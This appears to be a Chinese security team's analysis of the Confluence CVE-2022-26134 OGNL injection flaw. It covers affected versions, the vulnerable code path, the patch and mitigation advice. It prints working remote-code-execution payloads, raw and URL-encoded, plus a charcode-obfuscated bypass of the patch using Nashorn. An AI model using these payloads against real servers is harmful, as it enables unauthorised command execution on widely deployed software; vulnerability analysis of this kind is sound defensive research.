Sangfor华东天勇战队:Confluence CVE-2022-26134分析
字数 2188 2025-08-11 21:26:16

Confluence CVE-2022-26134 OGNL表达式注入漏洞分析与复现

漏洞概述

CVE-2022-26134是Atlassian Confluence Server和Data Center中的一个严重安全漏洞,允许攻击者通过构造特殊的OGNL表达式实现远程代码执行(RCE)。

受影响版本

  • Confluence Server and Data Center >= 1.3.0
  • Confluence Server and Data Center < 7.4.17
  • Confluence Server and Data Center < 7.13.7
  • Confluence Server and Data Center < 7.14.3
  • Confluence Server and Data Center < 7.15.2
  • Confluence Server and Data Center < 7.16.4
  • Confluence Server and Data Center < 7.17.4
  • Confluence Server and Data Center < 7.18.1

漏洞复现

环境准备

Confluence自带调试端口3789,无需额外配置。

漏洞利用Payload

原始OGNL表达式:

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

URL编码后:

%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

注意:Payload末尾必须有/符号才能成功执行。

执行结果

命令执行结果会出现在响应头的X-Cmd-Response字段中。

漏洞分析

请求处理流程

  1. 入口点com.atlassian.confluence.servlet.ConfluenceServletDispatcherservice方法(继承自父类)
  2. 路由解析
    • getNamespaceFromServletPath():获取从开始到最后一个/的路径(即Payload部分)
    • getActionName():获取从/开始到最后一个.之间的值(通常为index
  3. 代理执行
    • 创建代理对象并调用proxy.execute()
    • 通过拦截器链(this.interceptors)进行迭代处理
  4. 结果执行
    • this.proxy.getExecuteResult()true时,调用executeResult()
    • 通过createResult()根据resultCode获取对应结果
    • 最终调用result.execute()

漏洞触发点

关键漏洞点在TextParseUtil.translateVariables()方法,由于传入的namespace参数可控,导致OGNL表达式注入。

调试分析

  1. 请求路径解析

    • servletPath为:/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/index.action
    • getNamespaceFromServletPath()处理后得到:/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
    • getActionName()处理后得到:index
  2. 表达式执行

    • TextParseUtil.translateVariables()中,stackexpression(即namespace)都可控
    • 导致OGNL表达式注入

补丁分析

补丁主要做了以下修改:

  1. 删除了TextParseUtil.translateVariables()
  2. 新增了SafeExpressionUtil.class,包含:
    • 黑名单过滤
    • 白名单机制(allowedClassesvelocity.properties中定义)
    • 通过OgnlUtil.compile(expression)对表达式进行解析和安全判断

绕过思路

补丁未限制通过Class.forName获取类并反射调用方法的过程,可使用如下Payload绕过:

${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}

解码后的JavaScript代码:

var s='';
var pp = java.lang.Runtime.getRuntime().exec('id').getInputStream();
while (1) {
  var b = pp.read();
  if (b == -1) {
    break;
  }
  s=s+String.fromCharCode(b)
};
s

防护建议

  1. 及时升级到安全版本:
    • 7.4.17
    • 7.13.7
    • 7.14.3
    • 7.15.2
    • 7.16.4
    • 7.17.4
    • 7.18.1或更高版本
  2. 如无法立即升级,可考虑临时禁用相关功能或添加WAF规则拦截OGNL表达式注入尝试

参考链接

Confluence CVE-2022-26134 OGNL表达式注入漏洞分析与复现 漏洞概述 CVE-2022-26134是Atlassian Confluence Server和Data Center中的一个严重安全漏洞,允许攻击者通过构造特殊的OGNL表达式实现远程代码执行(RCE)。 受影响版本 Confluence Server and Data Center >= 1.3.0 Confluence Server and Data Center < 7.4.17 Confluence Server and Data Center < 7.13.7 Confluence Server and Data Center < 7.14.3 Confluence Server and Data Center < 7.15.2 Confluence Server and Data Center < 7.16.4 Confluence Server and Data Center < 7.17.4 Confluence Server and Data Center < 7.18.1 漏洞复现 环境准备 Confluence自带调试端口3789,无需额外配置。 漏洞利用Payload 原始OGNL表达式: URL编码后: 注意 :Payload末尾必须有 / 符号才能成功执行。 执行结果 命令执行结果会出现在响应头的 X-Cmd-Response 字段中。 漏洞分析 请求处理流程 入口点 : com.atlassian.confluence.servlet.ConfluenceServletDispatcher 的 service 方法(继承自父类) 路由解析 : getNamespaceFromServletPath() :获取从开始到最后一个 / 的路径(即Payload部分) getActionName() :获取从 / 开始到最后一个 . 之间的值(通常为 index ) 代理执行 : 创建代理对象并调用 proxy.execute() 通过拦截器链( this.interceptors )进行迭代处理 结果执行 : 当 this.proxy.getExecuteResult() 为 true 时,调用 executeResult() 通过 createResult() 根据 resultCode 获取对应结果 最终调用 result.execute() 漏洞触发点 关键漏洞点在 TextParseUtil.translateVariables() 方法,由于传入的 namespace 参数可控,导致OGNL表达式注入。 调试分析 请求路径解析 : servletPath 为: /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/index.action getNamespaceFromServletPath() 处理后得到: /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))} getActionName() 处理后得到: index 表达式执行 : 在 TextParseUtil.translateVariables() 中, stack 和 expression (即 namespace )都可控 导致OGNL表达式注入 补丁分析 补丁主要做了以下修改: 删除了 TextParseUtil.translateVariables() 新增了 SafeExpressionUtil.class ,包含: 黑名单过滤 白名单机制( allowedClasses 在 velocity.properties 中定义) 通过 OgnlUtil.compile(expression) 对表达式进行解析和安全判断 绕过思路 补丁未限制通过 Class.forName 获取类并反射调用方法的过程,可使用如下Payload绕过: 解码后的JavaScript代码: 防护建议 及时升级到安全版本: 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1或更高版本 如无法立即升级,可考虑临时禁用相关功能或添加WAF规则拦截OGNL表达式注入尝试 参考链接 Confluence CVE-2022-26134分析 - FreeBuf